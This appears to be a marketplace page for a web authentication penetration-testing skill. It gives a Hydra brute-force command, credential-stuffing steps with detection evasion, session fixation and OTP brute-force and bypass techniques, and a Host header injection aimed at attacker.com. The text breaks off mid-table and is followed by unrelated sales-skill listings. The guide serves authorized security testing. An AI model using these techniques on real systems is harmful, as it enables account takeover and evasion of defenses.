broken-authentication
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems.
What this skill does
# Broken Authentication Testing
## Purpose
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
## Prerequisites
### Required Knowledge
- HTTP protocol and session mechanisms
- Authentication types (SFA, 2FA, MFA)
- Cookie and token handling
- Common authentication frameworks
### Required Tools
- Burp Suite Professional or Community
- Hydra or similar brute-force tools
- Custom wordlists for credential testing
- Browser developer tools
### Required Access
- Target application URL
- Test account credentials
- Written authorization for testing
## Outputs and Deliverables
1. **Authentication Assessment Report** - Document all identified vulnerabilities
2. **Credential Testing Results** - Brute-force and dictionary attack outcomes
3. **Session Security Analysis** - Token randomness and timeout evaluation
4. **Remediation Recommendations** - Security hardening guidance
## Core Workflow
### Phase 1: Authentication Mechanism Analysis
Understand the application's authentication architecture:
```
# Identify authentication type
- Password-based (forms, basic auth, digest)
- Token-based (JWT, OAuth, API keys)
- Certificate-based (mutual TLS)
- Multi-factor (SMS, TOTP, hardware tokens)
# Map authentication endpoints
/login, /signin, /authenticate
/register, /signup
/forgot-password, /reset-password
/logout, /signout
/api/auth/*, /oauth/*
```
Capture and analyze authentication requests:
```http
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test123
```
### Phase 2: Password Policy Testing
Evaluate password requirements and enforcement:
```bash
# Test minimum length (a, ab, abcdefgh)
# Test complexity (password, password1, Password1!)
# Test common weak passwords (123456, password, qwerty, admin)
# Test username as password (admin/admin, test/test)
```
Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
### Phase 3: Credential Enumeration
Test for username enumeration vulnerabilities:
```bash
# Compare responses for valid vs invalid usernames
# Invalid: "Invalid username" vs Valid: "Invalid password"
# Check timing differences, response codes, registration messages
```
# Password reset
"Email sent if account exists" (secure)
"No account with that email" (leaks info)
# API responses
{"error": "user_not_found"}
{"error": "invalid_password"}
```
### Phase 4: Brute Force Testing
Test account lockout and rate limiting:
```bash
# Using Hydra for form-based auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# Using Burp Intruder
1. Capture login request
2. Send to Intruder
3. Set payload positions on password field
4. Load wordlist
5. Start attack
6. Analyze response lengths/codes
```
Check for protections:
```bash
# Account lockout
- After how many attempts?
- Duration of lockout?
- Lockout notification?
# Rate limiting
- Requests per minute limit?
- IP-based or account-based?
- Bypass via headers (X-Forwarded-For)?
# CAPTCHA
- After failed attempts?
- Easily bypassable?
```
### Phase 5: Credential Stuffing
Test with known breached credentials:
```bash
# Credential stuffing differs from brute force
# Uses known email:password pairs from breaches
# Using Burp Intruder with Pitchfork attack
1. Set username and password as positions
2. Load email list as payload 1
3. Load password list as payload 2 (matched pairs)
4. Analyze for successful logins
# Detection evasion
- Slow request rate
- Rotate source IPs
- Randomize user agents
- Add delays between attempts
```
### Phase 6: Session Management Testing
Analyze session token security:
```bash
# Capture session cookie
Cookie: SESSIONID=abc123def456
# Test token characteristics
1. Entropy - Is it random enough?
2. Length - Sufficient length (128+ bits)?
3. Predictability - Sequential patterns?
4. Secure flags - HttpOnly, Secure, SameSite?
```
Session token analysis:
```python
#!/usr/bin/env python3
import requests
import hashlib
# Collect multiple session tokens
tokens = []
for i in range(100):
response = requests.get("https://target.com/login")
token = response.cookies.get("SESSIONID")
tokens.append(token)
# Analyze for patterns
# Check for sequential increments
# Calculate entropy
# Look for timestamp components
```
### Phase 7: Session Fixation Testing
Test if session is regenerated after authentication:
```bash
# Step 1: Get session before login
GET /login HTTP/1.1
Response: Set-Cookie: SESSIONID=abc123
# Step 2: Login with same session
POST /login HTTP/1.1
Cookie: SESSIONID=abc123
username=valid&password=valid
# Step 3: Check if session changed
# VULNERABLE if SESSIONID remains abc123
# SECURE if new session assigned after login
```
Attack scenario:
```bash
# Attacker workflow:
1. Attacker visits site, gets session: SESSIONID=attacker_session
2. Attacker sends link to victim with fixed session:
https://target.com/login?SESSIONID=attacker_session
3. Victim logs in with attacker's session
4. Attacker now has authenticated session
```
### Phase 8: Session Timeout Testing
Verify session expiration policies:
```bash
# Test idle timeout
1. Login and note session cookie
2. Wait without activity (15, 30, 60 minutes)
3. Attempt to use session
4. Check if session is still valid
# Test absolute timeout
1. Login and continuously use session
2. Check if forced logout after set period (8 hours, 24 hours)
# Test logout functionality
1. Login and note session
2. Click logout
3. Attempt to reuse old session cookie
4. Session should be invalidated server-side
```
### Phase 9: Multi-Factor Authentication Testing
Assess MFA implementation security:
```bash
# OTP brute force
- 4-digit OTP = 10,000 combinations
- 6-digit OTP = 1,000,000 combinations
- Test rate limiting on OTP endpoint
# OTP bypass techniques
- Skip MFA step by direct URL access
- Modify response to indicate MFA passed
- Null/empty OTP submission
- Previous valid OTP reuse
# API Version Downgrade Attack (crAPI example)
# If /api/v3/check-otp has rate limiting, try older versions:
POST /api/v2/check-otp
{"otp": "1234"}
# Older API versions may lack security controls
# Using Burp for OTP testing
1. Capture OTP verification request
2. Send to Intruder
3. Set OTP field as payload position
4. Use numbers payload (0000-9999)
5. Check for successful bypass
```
Test MFA enrollment:
```bash
# Forced enrollment
- Can MFA be skipped during setup?
- Can backup codes be accessed without verification?
# Recovery process
- Can MFA be disabled via email alone?
- Social engineering potential?
```
### Phase 10: Password Reset Testing
Analyze password reset security:
```bash
# Token security
1. Request password reset
2. Capture reset link
3. Analyze token:
- Length and randomness
- Expiration time
- Single-use enforcement
- Account binding
# Token manipulation
https://target.com/reset?token=abc123&user=victim
# Try changing user parameter while using valid token
# Host header injection
POST /forgot-password HTTP/1.1
Host: attacker.com
[email protected]
# Reset email may contain attacker's domain
```
## Quick Reference
### Common Vulnerability Types
| Vulnerability | Risk | Test Method |
|--------------|------|-------------|
| Weak passwords | High | Policy testing, dictionary attack |
| No lockout | High | Brute force testing |
| Username enumeration | Medium | Differential response analysis |
| Session fixation | High | Pre/post-login session comparison |
| Weak session tokens | High | Entropy analysis |
| No session timeout | Medium | Long-duratRelated in Sales & CRM
process-mapper
IncludedUse when a BizOps lead, COO, or process-improvement owner needs to document an end-to-end business process (procurement, employee onboarding, incident handoff, customer-onboarding, claims adjudication) in BPMN-style notation, measure cycle times by stage, surface where work spends most of its time waiting vs. being worked, and quantify the gap between processing time and total elapsed time. Pairs Lean / Six Sigma / Theory-of-Constraints canon with deterministic stdlib-only Python tools to produce a process map, a ranked bottleneck list (with severity + root-cause hypothesis), and a cycle-time analysis (P50, P90, value-add ratio, Little's-Law throughput). Distinct from sales-pipeline, system-reliability (SLO), and strategic-OKR work — this is tactical process documentation for internal operations.
payment-integration
IncludedIntegrate payments with SePay (VietQR), Polar, Stripe, Paddle (MoR subscriptions), Creem.io (licensing). Checkout, webhooks, subscriptions, QR codes, multi-provider orders.
customer-success-manager
IncludedMonitors customer health, predicts churn risk, and identifies expansion opportunities using weighted scoring models for SaaS customer success
sales-engineer
IncludedAnalyzes RFP/RFI responses for coverage gaps, builds competitive feature comparison matrices, and plans proof-of-concept (POC) engagements for pre-sales engineering. Use when responding to RFPs, bids, or proposal requests; comparing product features against competitors; planning or scoring a customer POC or sales demo; preparing a technical proposal; or performing win/loss competitor analysis. Handles tasks described as 'RFP response', 'bid response', 'proposal response', 'competitor comparison', 'feature matrix', 'POC planning', 'sales demo prep', or 'pre-sales engineering'.
customer-success-manager
IncludedMonitors customer health, predicts churn risk, and identifies expansion opportunities using weighted scoring models for SaaS customer success
sales-engineer
IncludedAnalyzes RFP/RFI responses for coverage gaps, builds competitive feature comparison matrices, and plans proof-of-concept (POC) engagements for pre-sales engineering. Use when responding to RFPs, bids, or proposal requests; comparing product features against competitors; planning or scoring a customer POC or sales demo; preparing a technical proposal; or performing win/loss competitor analysis. Handles tasks described as 'RFP response', 'bid response', 'proposal response', 'competitor comparison', 'feature matrix', 'POC planning', 'sales demo prep', or 'pre-sales engineering'.